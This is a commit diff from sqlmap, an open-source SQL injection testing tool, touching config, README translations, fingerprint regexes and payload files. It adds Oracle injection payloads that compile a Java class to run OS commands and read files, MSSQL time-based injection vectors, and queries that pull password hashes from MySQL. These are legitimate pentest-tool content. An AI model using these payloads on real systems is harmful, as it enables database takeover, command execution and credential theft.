Adding new option --results-file (thank you Hyundai)

* Add Korean translation for README

* Only on main page

* Only on main page

.pylintrc

@@ -7,7 +7,7 @@
 
 # Python code to execute, usually for sys.path manipulation such as
 # pygtk.require().
-init-hook=
+init-hook="from pylint.config import find_pylintrc; import os, sys; sys.path.append(os.path.dirname(find_pylintrc()))"
 
 # Add files or directories to the blacklist. They should be base names, not
 # paths.
@@ -306,7 +306,7 @@ ignore-mixin-members=yes
 # (useful for modules/projects where namespaces are manipulated during runtime
 # and thus existing member attributes cannot be deduced by static analysis. It
 # supports qualified module names, as well as Unix pattern matching.
-ignored-modules=
+ignored-modules=thirdparty.six.moves
 
 # List of classes names for which member attributes should not be checked
 # (useful for classes with attributes dynamically set). This supports can work

.travis.yml

@@ -1,4 +1,5 @@
 language: python
+dist: trusty
 sudo: false
 git:
     depth: 1
@@ -10,4 +11,4 @@ python:
 script:
     - python -c "import sqlmap; import sqlmapapi"
     - python sqlmap.py --smoke
-    - python sqlmap.py --vuln
+    - python sqlmap.py --vuln

README.md

@@ -1,8 +1,8 @@
-# sqlmap
+# sqlmap ![](https://i.imgur.com/fe85aVR.png)
 
 [![Build Status](https://api.travis-ci.org/sqlmapproject/sqlmap.svg?branch=master)](https://travis-ci.org/sqlmapproject/sqlmap) [![Python 2.6|2.7|3.x](https://img.shields.io/badge/python-2.6|2.7|3.x-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPLv2-red.svg)](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [![PyPI version](https://badge.fury.io/py/sqlmap.svg)](https://badge.fury.io/py/sqlmap) [![GitHub closed issues](https://img.shields.io/github/issues-closed-raw/sqlmapproject/sqlmap.svg?colorB=ff69b4)](https://github.com/sqlmapproject/sqlmap/issues?q=is%3Aissue+is%3Aclosed) [![Twitter](https://img.shields.io/badge/[email protected])](https://twitter.com/sqlmap)
 
-sqlmap is an open source penetration testing tool that automates the process of detecting and exploiting SQL injection flaws and taking over of database servers. It comes with a powerful detection engine, many niche features for the ultimate penetration tester and a broad range of switches lasting from database fingerprinting, over data fetching from the database, to accessing the underlying file system and executing commands on the operating system via out-of-band connections.
+sqlmap is an open source penetration testing tool that automates the process of detecting and exploiting SQL injection flaws and taking over of database servers. It comes with a powerful detection engine, many niche features for the ultimate penetration tester, and a broad range of switches including database fingerprinting, over data fetching from the database, accessing the underlying file system, and executing commands on the operating system via out-of-band connections.
 
 **The sqlmap project is sponsored by [Netsparker Web Application Security Scanner](https://www.netsparker.com/scan-website-security-issues/?utm_source=sqlmap.org&utm_medium=banner&utm_campaign=github).**
 
@@ -11,7 +11,7 @@ Screenshots
 
 ![Screenshot](https://raw.github.com/wiki/sqlmapproject/sqlmap/images/sqlmap_screenshot.png)
 
-You can visit the [collection of screenshots](https://github.com/sqlmapproject/sqlmap/wiki/Screenshots) demonstrating some of features on the wiki.
+You can visit the [collection of screenshots](https://github.com/sqlmapproject/sqlmap/wiki/Screenshots) demonstrating some of the features on the wiki.
 
 Installation
 ----
@@ -36,7 +36,7 @@ To get a list of all options and switches use:
     python sqlmap.py -hh
 
 You can find a sample run [here](https://asciinema.org/a/46601).
-To get an overview of sqlmap capabilities, list of supported features and description of all options and switches, along with examples, you are advised to consult the [user's manual](https://github.com/sqlmapproject/sqlmap/wiki/Usage).
+To get an overview of sqlmap capabilities, a list of supported features, and a description of all options and switches, along with examples, you are advised to consult the [user's manual](https://github.com/sqlmapproject/sqlmap/wiki/Usage).
 
 Links
 ----
@@ -63,6 +63,7 @@ Translations
 * [Indonesian](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-id-ID.md)
 * [Italian](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-it-IT.md)
 * [Japanese](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-ja-JP.md)
+* [Korean](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-ko-KR.md)
 * [Polish](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-pl-PL.md)
 * [Portuguese](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-pt-BR.md)
 * [Russian](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-ru-RUS.md)

data/html/index.html

@@ -0,0 +1,150 @@
+<!DOCTYPE html>
+
+<!-- http://angrytools.com/bootstrap/editor/ -->
+
+<html lang="en">
+<head>
+    <meta charset="utf-8">
+    <meta http-equiv="X-UA-Compatible" content="IE=edge">
+    <meta name="viewport" content="width=device-width, initial-scale=1">
+    <link href="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.0/css/bootstrap.min.css" rel="stylesheet">
+    <link href="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.0/css/bootstrap-theme.min.css" rel="stylesheet">
+    
+    <!--[if lt IE 9]><script src="https://oss.maxcdn.com/html5shiv/3.7.2/html5shiv.min.js"></script><script src="https://oss.maxcdn.com/respond/1.4.2/respond.min.js"></script><![endif]-->
+</head>
+<body>
+    <style>
+  #wrapper { width: 100%; }
+
+  #page-wrapper {
+    padding: 0 15px;
+    min-height: 568px;
+    background-color: #fff;
+  }
+
+  @media(min-width:768px) {
+    #page-wrapper {
+      position: inherit;
+      margin: 0 0 0 250px;
+      padding: 0 30px;
+      border-left: 1px solid #e7e7e7;
+    }
+  } 
+
+  .sidebar .sidebar-nav.navbar-collapse { padding-right: 0; padding-left: 0; }
+  .sidebar .sidebar-search { padding: 15px; }
+  .sidebar ul li { border-bottom: 1px solid #e7e7e7; }
+
+  .sidebar ul li a.active { background-color: #eee; }
+
+  .sidebar .arrow { float: right;}
+  .sidebar .fa.arrow:before { content: "f104";}
+  .sidebar .active>a>.fa.arrow:before { content: "f107"; }
+  .sidebar .nav-second-level li,
+  .sidebar .nav-third-level li {
+    border-bottom: 0!important;
+  }
+
+  .sidebar .nav-second-level li a { padding-left: 37px; }
+  .sidebar .nav-third-level li a { padding-left: 52px; }
+
+  @media(min-width:768px) {
+    .sidebar {
+      z-index: 1;
+      position: absolute;
+      width: 250px;
+      margin-top: 51px;
+    }   
+  } 
+</style>
+<div id="wrapper">
+
+  <nav class="navbar navbar-default navbar-static-top" role="navigation" style="margin-bottom: 0">
+    <div class="navbar-header">
+      <button type="button" class="navbar-toggle" data-toggle="collapse" data-target=".navbar-collapse">
+        <span class="sr-only">Toggle navigation</span>
+        <span class="icon-bar"></span>
+        <span class="icon-bar"></span>
+        <span class="icon-bar"></span>
+      </button>
+      <a class="navbar-brand" href="index.html">sqlmap</a>
+    </div>
+
+    <div class="navbar-default sidebar" role="navigation">
+      <div class="sidebar-nav navbar-collapse">
+        <ul class="nav" id="side-menu">                        
+          <li>
+            <a href="#"><i class="glyphicon glyphicon-home"></i> Options<span class="arrow"></span></a>
+            <ul class="nav nav-second-level">
+              <li><a>Target</a></li>
+              <li><a>Request</a></li>
+              <li><a>Optimization</a></li>
+              <li><a>Injection</a></li>
+              <li><a>Detection</a></li>
+              <li><a>Techniques</a></li>
+              <li><a>Fingerprint</a></li>
+              <li><a>Enumeration</a></li>
+              <li><a>Brute force</a></li>
+              <li><a>User-defined function injection</a></li>
+              <li><a>File system access</a></li>
+              <li><a>Operating system access</a></li>
+              <li><a>Windows registry access</a></li>
+              <li><a>General</a></li>
+              <li><a>Miscellaneous</a></li>
+            </ul> 
+          </li> 
+        </ul>
+      </div>
+    </div>             
+  </nav>
+
+  <div id="page-wrapper"> 
+    <div class="row">
+      <h4>DEMO</h4>
+    </div> 
+  </div>
+</div>
+<script>
+  /*
+ * metismenu - v1.0.3
+ * Easy menu jQuery plugin for Twitter Bootstrap 3
+ * https://github.com/onokumus/metisMenu
+ *
+ * Made by Osman Nuri Okumuş
+ * Under MIT License
+*/
+  !function(a,b,c){function d(b,c){this.element=b,this.settings=a.extend({},f,c),this._defaults=f,this._name=e,this.init()}var e="metisMenu",f={toggle:!0};d.prototype={init:function(){var b=a(this.element),c=this.settings.toggle;this.isIE()<=9?(b.find("li.active").has("ul").children("ul").collapse("show"),b.find("li").not(".active").has("ul").children("ul").collapse("hide")):(b.find("li.active").has("ul").children("ul").addClass("collapse in"),b.find("li").not(".active").has("ul").children("ul").addClass("collapse")),b.find("li").has("ul").children("a").on("click",function(b){b.preventDefault(),a(this).parent("li").toggleClass("active").children("ul").collapse("toggle"),c&&a(this).parent("li").siblings().removeClass("active").children("ul.in").collapse("hide")})},isIE:function(){for(var a,b=3,d=c.createElement("div"),e=d.getElementsByTagName("i");d.innerHTML="<!--[if gt IE "+ ++b+"]><i></i><![endif]-->",e[0];)return b>4?b:a}},a.fn[e]=function(b){return this.each(function(){a.data(this,"plugin_"+e)||a.data(this,"plugin_"+e,new d(this,b))})}}(jQuery,window,document);
+
+  $(function() {
+
+    $('#side-menu').metisMenu();
+
+  });
+
+  //Loads the correct sidebar on window load,
+  //collapses the sidebar on window resize.
+  // Sets the min-height of #page-wrapper to window size
+  $(function() {
+    $(window).bind("load resize", function() {
+      topOffset = 50;
+      width = (this.window.innerWidth > 0) ? this.window.innerWidth : this.screen.width;
+      if (width < 768) {
+        $('div.navbar-collapse').addClass('collapse')
+        topOffset = 100; // 2-row-menu
+      } else {
+        $('div.navbar-collapse').removeClass('collapse')
+      }
+
+      height = (this.window.innerHeight > 0) ? this.window.innerHeight : this.screen.height;
+      height = height - topOffset;
+      if (height < 1) height = 1;
+      if (height > topOffset) {
+        $("#page-wrapper").css("min-height", (height) + "px");
+      }
+    })
+  });
+</script>
+    <script src="https://ajax.googleapis.com/ajax/libs/jquery/1.11.1/jquery.min.js"></script>
+    <script src="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.0/js/bootstrap.min.js"></script>
+</body>
+</html>

data/procs/oracle/read_file_export_extension.sql

@@ -0,0 +1,4 @@
+SELECT SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('%RANDSTR1%','%RANDSTR2%','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''create or replace and compile java source named "OsUtil" as import java.io.*; public class OsUtil extends Object {public static String runCMD(String args) {try{BufferedReader myReader= new BufferedReader(new InputStreamReader( Runtime.getRuntime().exec(args).getInputStream() ) ); String stemp,str="";while ((stemp = myReader.readLine()) != null) str +=stemp+"\n";myReader.close();return str;} catch (Exception e){return e.toString();}}public static String readFile(String filename){try{BufferedReader myReader= new BufferedReader(new FileReader(filename)); String stemp,str="";while ((stemp = myReader.readLine()) != null) str +=stemp+"\n";myReader.close();return str;} catch (Exception e){return e.toString();}}}'''';END;'';END;--','SYS',0,'1',0) FROM DUAL
+SELECT SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('%RANDSTR1%','%RANDSTR2%','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''begin dbms_java.grant_permission( ''''''''PUBLIC'''''''', ''''''''SYS:java.io.FilePermission'''''''', ''''''''<>'''''''', ''''''''execute'''''''' );end;'''';END;'';END;--','SYS',0,'1',0) FROM DUAL
+SELECT SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('%RANDSTR1%','%RANDSTR2%','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''create or replace function OSREADFILE(filename in varchar2) return varchar2 as language java name ''''''''OsUtil.readFile(java.lang.String) return String''''''''; '''';END;'';END;--','SYS',0,'1',0) FROM DUAL
+SELECT SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('%RANDSTR1%','%RANDSTR2%','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''grant all on OSREADFILE to public'''';END;'';END;--','SYS',0,'1',0) FROM DUAL

data/xml/banner/mysql.xml

@@ -1,5 +1,10 @@
 <?xml version="1.0" encoding="UTF-8"?>
 
+<!--
+     References:
+     * https://en.wikipedia.org/wiki/Debian_version_history
+-->
+
 <root>
     <regexp value="^([\d\.\-]+)[\-\_\ ].*">
         <info dbms_version="1"/>
@@ -36,19 +41,27 @@
     </regexp>
 
     <regexp value="^([\d\.]+)[\-\_]Debian[\-\_][\d\.]+wheezy">
-        <info dbms_version="1" type="Linux" distrib="Debian" release="7.0" codename="wheezy"/>
+        <info dbms_version="1" type="Linux" distrib="Debian" release="7" codename="wheezy"/>
     </regexp>
 
     <regexp value="^([\d\.]+)[\-\_]Debian[\-\_][\d\.]+jessie">
-        <info dbms_version="1" type="Linux" distrib="Debian" release="8.0" codename="jessie"/>
+        <info dbms_version="1" type="Linux" distrib="Debian" release="8" codename="jessie"/>
     </regexp>
 
     <regexp value="^([\d\.]+)[\-\_]Debian[\-\_][\d\.]+stretch">
-        <info dbms_version="1" type="Linux" distrib="Debian" release="9.0" codename="stretch"/>
+        <info dbms_version="1" type="Linux" distrib="Debian" release="9" codename="stretch"/>
     </regexp>
 
     <regexp value="^([\d\.]+)[\-\_]Debian[\-\_][\d\.]+buster">
-        <info dbms_version="1" type="Linux" distrib="Debian" release="10.0" codename="buster"/>
+        <info dbms_version="1" type="Linux" distrib="Debian" release="10" codename="buster"/>
+    </regexp>
+
+    <regexp value="^([\d\.]+)[\-\_]Debian[\-\_][\d\.]+bullseye">
+        <info dbms_version="1" type="Linux" distrib="Debian" release="11" codename="bullseye"/>
+    </regexp>
+
+    <regexp value="^([\d\.]+)[\-\_]Debian[\-\_][\d\.]+bookworm">
+        <info dbms_version="1" type="Linux" distrib="Debian" release="12" codename="bookworm"/>
     </regexp>
 
     <regexp value="^([\d\.]+)[\-\_]Debian[\-\_][\d\.]+(sid|unstable)">

data/xml/banner/servlet-engine.xml

@@ -7,6 +7,14 @@
         <info technology="Tomcat" tech_version="1"/>
     </regexp>
 
+    <regexp value="Enhydra Application Server/([\d\.]+)">
+        <info technology="Enhydra" tech_version="1"/>
+    </regexp>
+
+    <regexp value="Jetty/([\d\.]+)">
+        <info technology="Jetty" tech_version="1"/>
+    </regexp>
+
     <regexp value="JSP[\-\_\/\ ]([\d\.]+)">
         <info technology="JSP" tech_version="1"/>
     </regexp>

data/xml/banner/set-cookie.xml

@@ -27,7 +27,7 @@
         <info technology="WebSphere"/>
     </regexp>
 
-    <regexp value="PHPSESSION">
+    <regexp value="PHPSESS">
         <info technology="PHP"/>
     </regexp>
 
@@ -50,4 +50,16 @@
     <regexp value="CFID|CFTOKEN|CFMAGIC|CFGLOBALS">
         <info technology="ColdFusion"/>
     </regexp>
+
+    <regexp value="WebLogicSession">
+        <info technology="WebLogic"/>
+    </regexp>
+
+    <regexp value="MoodleSession">
+        <info technology="Moodle"/>
+    </regexp>
+
+    <regexp value="\bwp_">
+        <info technology="WordPress"/>
+    </regexp>
 </root>

data/xml/banner/x-powered-by.xml

@@ -35,8 +35,12 @@
         <info technology="ASP.NET" type="Windows"/>
     </regexp>
 
-    <regexp value="(JBoss|Tomcat)[\-\_\/\ ]?([\d\.]+)">
-        <info technology="Tomcat" tech_version="2"/>
+    <regexp value="Tomcat[\-\_\/\ ]?([\d\.]+)">
+        <info technology="Tomcat" tech_version="1"/>
+    </regexp>
+
+    <regexp value="JBoss[\-\_\/\ ]?([\d\.]+)">
+        <info technology="JBoss" tech_version="1"/>
     </regexp>
 
     <regexp value="Servlet[\-\_\/\ ]?([\d\.]+)">

data/xml/errors.xml

@@ -7,13 +7,14 @@
         <error regexp="Warning.*?\Wmysqli?_"/>
         <error regexp="MySQLSyntaxErrorException"/>
         <error regexp="valid MySQL result"/>
-        <error regexp="check the manual that corresponds to your (MySQL|MariaDB) server version"/>
+        <error regexp="check the manual that (corresponds to|fits) your (MySQL|MariaDB) server version"/>
         <error regexp="Unknown column '[^ ]+' in 'field list'"/>
         <error regexp="MySqlClient\."/>
         <error regexp="com\.mysql\.jdbc"/>
         <error regexp="Zend_Db_(Adapter|Statement)_Mysqli_Exception"/>
         <error regexp="Pdo[./_\\]Mysql"/>
         <error regexp="MySqlException"/>
+        <error regexp="SQLSTATE\[\d+\]: Syntax error or access violation"/>
     </dbms>
 
     <!-- PostgreSQL -->

data/xml/payloads/stacked_queries.xml

@@ -3,7 +3,7 @@
 <root>
     <!-- Stacked queries tests -->
     <test>
-        <title>MySQL &gt; 5.0.11 stacked queries (comment)</title>
+        <title>MySQL &gt;= 5.0.12 stacked queries (comment)</title>
         <stype>4</stype>
         <level>2</level>
         <risk>1</risk>
@@ -19,12 +19,12 @@
         </response>
         <details>
             <dbms>MySQL</dbms>
-            <dbms_version>&gt; 5.0.11</dbms_version>
+            <dbms_version>&gt;= 5.0.12</dbms_version>
         </details>
     </test>
 
     <test>
-        <title>MySQL &gt; 5.0.11 stacked queries</title>
+        <title>MySQL &gt;= 5.0.12 stacked queries</title>
         <stype>4</stype>
         <level>3</level>
         <risk>1</risk>
@@ -39,12 +39,12 @@
         </response>
         <details>
             <dbms>MySQL</dbms>
-            <dbms_version>&gt; 5.0.11</dbms_version>
+            <dbms_version>&gt;= 5.0.12</dbms_version>
         </details>
     </test>
 
      <test>
-        <title>MySQL &gt; 5.0.11 stacked queries (query SLEEP - comment)</title>
+        <title>MySQL &gt;= 5.0.12 stacked queries (query SLEEP - comment)</title>
         <stype>4</stype>
         <level>3</level>
         <risk>1</risk>
@@ -60,12 +60,12 @@
         </response>
         <details>
             <dbms>MySQL</dbms>
-            <dbms_version>&gt; 5.0.11</dbms_version>
+            <dbms_version>&gt;= 5.0.12</dbms_version>
         </details>
     </test>
 
     <test>
-        <title>MySQL &gt; 5.0.11 stacked queries (query SLEEP)</title>
+        <title>MySQL &gt;= 5.0.12 stacked queries (query SLEEP)</title>
         <stype>4</stype>
         <level>4</level>
         <risk>1</risk>
@@ -80,7 +80,7 @@
         </response>
         <details>
             <dbms>MySQL</dbms>
-            <dbms_version>&gt; 5.0.11</dbms_version>
+            <dbms_version>&gt;= 5.0.12</dbms_version>
         </details>
     </test>
 
@@ -268,6 +268,28 @@
         </details>
     </test>
 
+    <test>
+        <title>Microsoft SQL Server/Sybase stacked queries (DECLARE - comment)</title>
+        <stype>4</stype>
+        <level>2</level>
+        <risk>1</risk>
+        <clause>1-8</clause>
+        <where>1</where>
+        <vector>;DECLARE @x CHAR(9);SET @x=0x303a303a3[SLEEPTIME];IF([INFERENCE]) WAITFOR DELAY @x</vector>
+        <request>
+            <payload>;DECLARE @x CHAR(9);SET @x=0x303a303a3[SLEEPTIME];WAITFOR DELAY @x</payload>
+            <comment>--</comment>
+        </request>
+        <response>
+            <time>[SLEEPTIME]</time>
+        </response>
+        <details>
+            <dbms>Microsoft SQL Server</dbms>
+            <dbms>Sybase</dbms>
+            <os>Windows</os>
+        </details>
+    </test>
+
     <test>
         <title>Microsoft SQL Server/Sybase stacked queries</title>
         <stype>4</stype>
@@ -289,6 +311,27 @@
         </details>
     </test>
 
+    <test>
+        <title>Microsoft SQL Server/Sybase stacked queries (DECLARE)</title>
+        <stype>4</stype>
+        <level>5</level>
+        <risk>1</risk>
+        <clause>1-8</clause>
+        <where>1</where>
+        <vector>;DECLARE @x CHAR(9);SET @x=0x303a303a3[SLEEPTIME];IF([INFERENCE]) WAITFOR DELAY @x</vector>
+        <request>
+            <payload>;DECLARE @x CHAR(9);SET @x=0x303a303a3[SLEEPTIME];WAITFOR DELAY @x</payload>
+        </request>
+        <response>
+            <time>[SLEEPTIME]</time>
+        </response>
+        <details>
+            <dbms>Microsoft SQL Server</dbms>
+            <dbms>Sybase</dbms>
+            <os>Windows</os>
+        </details>
+    </test>
+
     <test>
         <title>Oracle stacked queries (DBMS_PIPE.RECEIVE_MESSAGE - comment)</title>
         <stype>4</stype>

data/xml/payloads/time_blind.xml

@@ -169,7 +169,7 @@
     </test>
 
     <test>
-        <title>MySQL &lt;= 5.0.11 AND time-based blind (heavy query)</title>
+        <title>MySQL &lt; 5.0.12 AND time-based blind (heavy query)</title>
         <stype>5</stype>
         <level>2</level>
         <risk>2</risk>
@@ -184,12 +184,12 @@
         </response>
         <details>
             <dbms>MySQL</dbms>
-            <dbms_version>&lt;= 5.0.11</dbms_version>
+            <dbms_version>&lt; 5.0.12</dbms_version>
         </details>
     </test>
 
     <test>
-        <title>MySQL &lt;= 5.0.11 OR time-based blind (heavy query)</title>
+        <title>MySQL &lt; 5.0.12 OR time-based blind (heavy query)</title>
         <stype>5</stype>
         <level>2</level>
         <risk>3</risk>
@@ -204,12 +204,12 @@
         </response>
         <details>
             <dbms>MySQL</dbms>
-            <dbms_version>&lt;= 5.0.11</dbms_version>
+            <dbms_version>&lt; 5.0.12</dbms_version>
         </details>
     </test>
 
     <test>
-        <title>MySQL &lt;= 5.0.11 AND time-based blind (heavy query - comment)</title>
+        <title>MySQL &lt; 5.0.12 AND time-based blind (heavy query - comment)</title>
         <stype>5</stype>
         <level>5</level>
         <risk>2</risk>
@@ -225,12 +225,12 @@
         </response>
         <details>
             <dbms>MySQL</dbms>
-            <dbms_version>&lt;= 5.0.11</dbms_version>
+            <dbms_version>&lt; 5.0.12</dbms_version>
         </details>
     </test>
 
     <test>
-        <title>MySQL &lt;= 5.0.11 OR time-based blind (heavy query - comment)</title>
+        <title>MySQL &lt; 5.0.12 OR time-based blind (heavy query - comment)</title>
         <stype>5</stype>
         <level>5</level>
         <risk>3</risk>
@@ -246,7 +246,7 @@
         </response>
         <details>
             <dbms>MySQL</dbms>
-            <dbms_version>&lt;= 5.0.11</dbms_version>
+            <dbms_version>&lt; 5.0.12</dbms_version>
         </details>
     </test>
 
@@ -1506,7 +1506,7 @@
     </test>
 
     <test>
-        <title>MySQL &lt;= 5.0.11 time-based blind - Parameter replace (heavy queries)</title>
+        <title>MySQL &lt; 5.0.12 time-based blind - Parameter replace (heavy queries)</title>
         <stype>5</stype>
         <level>4</level>
         <risk>2</risk>
@@ -1521,7 +1521,7 @@
         </response>
         <details>
             <dbms>MySQL</dbms>
-            <dbms_version>&lt;= 5.0.11</dbms_version>
+            <dbms_version>&lt; 5.0.12</dbms_version>
         </details>
     </test>
 
@@ -1861,7 +1861,7 @@
     </test>
 
     <test>
-        <title>MySQL &lt;= 5.0.11 time-based blind - ORDER BY, GROUP BY clause (heavy query)</title>
+        <title>MySQL &lt; 5.0.12 time-based blind - ORDER BY, GROUP BY clause (heavy query)</title>
         <stype>5</stype>
         <level>4</level>
         <risk>2</risk>
@@ -1876,7 +1876,7 @@
         </response>
         <details>
             <dbms>MySQL</dbms>
-            <dbms_version>&lt;= 5.0.11</dbms_version>
+            <dbms_version>&lt; 5.0.12</dbms_version>
         </details>
     </test>
 

data/xml/queries.xml

@@ -32,9 +32,11 @@
             <inband query="SELECT grantee FROM INFORMATION_SCHEMA.USER_PRIVILEGES" query2="SELECT user FROM mysql.user"/>
             <blind query="SELECT DISTINCT(grantee) FROM INFORMATION_SCHEMA.USER_PRIVILEGES LIMIT %d,1" query2="SELECT DISTINCT(user) FROM mysql.user LIMIT %d,1" count="SELECT COUNT(DISTINCT(grantee)) FROM INFORMATION_SCHEMA.USER_PRIVILEGES" count2="SELECT COUNT(DISTINCT(user)) FROM mysql.user"/>
         </users>
+        <!-- https://github.com/dev-sec/mysql-baseline/issues/35 -->
+        <!-- https://stackoverflow.com/a/31122246 -->
         <passwords>
-            <inband query="SELECT user,password FROM mysql.user" condition="user"/>
-            <blind query="SELECT DISTINCT(password) FROM mysql.user WHERE user='%s' LIMIT %d,1" count="SELECT COUNT(DISTINCT(password)) FROM mysql.user WHERE user='%s'"/>
+            <inband query="SELECT user,authentication_string FROM mysql.user" condition="user"/>
+            <blind query="SELECT DISTINCT(authentication_string) FROM mysql.user WHERE user='%s' LIMIT %d,1" count="SELECT COUNT(DISTINCT(authentication_string)) FROM mysql.user WHERE user='%s'"/>
         </passwords>
         <privileges>
             <inband query="SELECT grantee,privilege_type FROM INFORMATION_SCHEMA.USER_PRIVILEGES" condition="grantee" query2="SELECT user,select_priv,insert_priv,update_priv,delete_priv,create_priv,drop_priv,reload_priv,shutdown_priv,process_priv,file_priv,grant_priv,references_priv,index_priv,alter_priv,show_db_priv,super_priv,create_tmp_table_priv,lock_tables_priv,execute_priv,repl_slave_priv,repl_client_priv,create_view_priv,show_view_priv,create_routine_priv,alter_routine_priv,create_user_priv FROM mysql.user" condition2="user"/>
@@ -421,7 +423,7 @@
         <length query="CHAR_LENGTH(TRIM(%s))"/>
         <delimiter query="||"/>
         <limit query="ROWS %d TO %d"/>
-        <limitregexp query="\s+ROWS\s+([\d]+)(\s+\TO\s+([\d]+))?"/>
+        <limitregexp query="\s+ROWS\s+([\d]+)(\s+TO\s+([\d]+))?"/>
         <limitgroupstart query="1"/>
         <limitgroupstop query="2"/>
         <limitstring query=" ROWS "/>

doc/translations/README-ko-KR.md

@@ -0,0 +1,50 @@
+# sqlmap
+
+[![Build Status](https://api.travis-ci.org/sqlmapproject/sqlmap.svg?branch=master)](https://travis-ci.org/sqlmapproject/sqlmap) [![Python 2.6|2.7|3.x](https://img.shields.io/badge/python-2.6|2.7|3.x-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPLv2-red.svg)](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [![PyPI version](https://badge.fury.io/py/sqlmap.svg)](https://badge.fury.io/py/sqlmap) [![GitHub closed issues](https://img.shields.io/github/issues-closed-raw/sqlmapproject/sqlmap.svg?colorB=ff69b4)](https://github.com/sqlmapproject/sqlmap/issues?q=is%3Aissue+is%3Aclosed) [![Twitter](https://img.shields.io/badge/[email protected])](https://twitter.com/sqlmap)
+
+sqlmap은 SQL 인젝션 결함 탐지 및 활용, 데이터베이스 서버 장악 프로세스를 자동화 하는 오픈소스 침투 테스팅 도구입니다. 최고의 침투 테스터, 데이터베이스 핑거프린팅 부터 데이터베이스 데이터 읽기, 대역 외 연결을 통한 기반 파일 시스템 접근 및 명령어 실행에 걸치는 광범위한 스위치들을 위한 강력한 탐지 엔진과 다수의 편리한 기능이 탑재되어 있습니다.
+
+스크린샷
+----
+
+![Screenshot](https://raw.github.com/wiki/sqlmapproject/sqlmap/images/sqlmap_screenshot.png)
+
+또는, wiki에 나와있는 몇몇 기능을 보여주는 [스크린샷 모음](https://github.com/sqlmapproject/sqlmap/wiki/Screenshots) 을 방문하실 수 있습니다.
+
+설치
+----
+
+[여기](https://github.com/sqlmapproject/sqlmap/tarball/master)를 클릭하여 최신 버전의 tarball 파일, 또는 [여기](https://github.com/sqlmapproject/sqlmap/zipball/master)를 클릭하여 최신 zipball 파일을 다운받으실 수 있습니다.
+
+가장 선호되는 방법으로, [Git](https://github.com/sqlmapproject/sqlmap) 저장소를 복제하여 sqlmap을 다운로드 할 수 있습니다:
+
+    git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev
+
+sqlmap은 [Python](http://www.python.org/download/) 버전 **2.6**, **2.7** 그리고 **3.x** 을 통해 모든 플랫폼 위에서 사용 가능합니다.
+
+사용법
+----
+
+기본 옵션과 스위치 목록을 보려면 다음 명령어를 사용하세요:
+
+    python sqlmap.py -h
+
+전체 옵션과 스위치 목록을 보려면 다음 명령어를 사용하세요:
+
+    python sqlmap.py -hh
+
+[여기](https://asciinema.org/a/46601)를 통해 사용 샘플들을 확인할 수 있습니다.
+sqlmap의 능력, 지원되는 기능과 모든 옵션과 스위치들의 목록을 예제와 함께 보려면, [사용자 매뉴얼](https://github.com/sqlmapproject/sqlmap/wiki/Usage)을 참고하시길 권장드립니다.
+
+링크
+----
+
+* 홈페이지: http://sqlmap.org
+* 다운로드: [.tar.gz](https://github.com/sqlmapproject/sqlmap/tarball/master) or [.zip](https://github.com/sqlmapproject/sqlmap/zipball/master)
+* RSS 피드 커밋: https://github.com/sqlmapproject/sqlmap/commits/master.atom
+* Issue tracker: https://github.com/sqlmapproject/sqlmap/issues
+* 사용자 매뉴얼: https://github.com/sqlmapproject/sqlmap/wiki
+* 자주 묻는 질문 (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ
+* 트위터: [@sqlmap](https://twitter.com/sqlmap)
+* 시연 영상: [http://www.youtube.com/user/inquisb/videos](http://www.youtube.com/user/inquisb/videos)
+* 스크린샷: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots

extra/beep/beep.py

@@ -15,11 +15,13 @@ BEEP_WAV_FILENAME = os.path.join(os.path.dirname(__file__), "beep.wav")
 
 def beep():
     try:
-        if sys.platform == "nt":
+        if sys.platform.startswith("win"):
             _win_wav_play(BEEP_WAV_FILENAME)
-        elif sys.platform == "darwin":
+        elif sys.platform.startswith("darwin"):
             _mac_beep()
-        elif sys.platform.startswith("linux"):
+        elif sys.platform.startswith("cygwin"):
+            _cygwin_beep(BEEP_WAV_FILENAME)
+        elif any(sys.platform.startswith(_) for _ in ("linux", "freebsd")):
             _linux_wav_play(BEEP_WAV_FILENAME)
         else:
             _speaker_beep()
@@ -34,6 +36,10 @@ def _speaker_beep():
     except IOError:
         pass
 
+# Reference: https://lists.gnu.org/archive/html/emacs-devel/2014-09/msg00815.html
+def _cygwin_beep(filename):
+    os.system("play-sound-file '%s' 2>/dev/null" % filename)
+
 def _mac_beep():
     import Carbon.Snd
     Carbon.Snd.SysBeep(1)
@@ -57,7 +63,10 @@ def _linux_wav_play(filename):
     class struct_pa_sample_spec(ctypes.Structure):
         _fields_ = [("format", ctypes.c_int), ("rate", ctypes.c_uint32), ("channels", ctypes.c_uint8)]
 
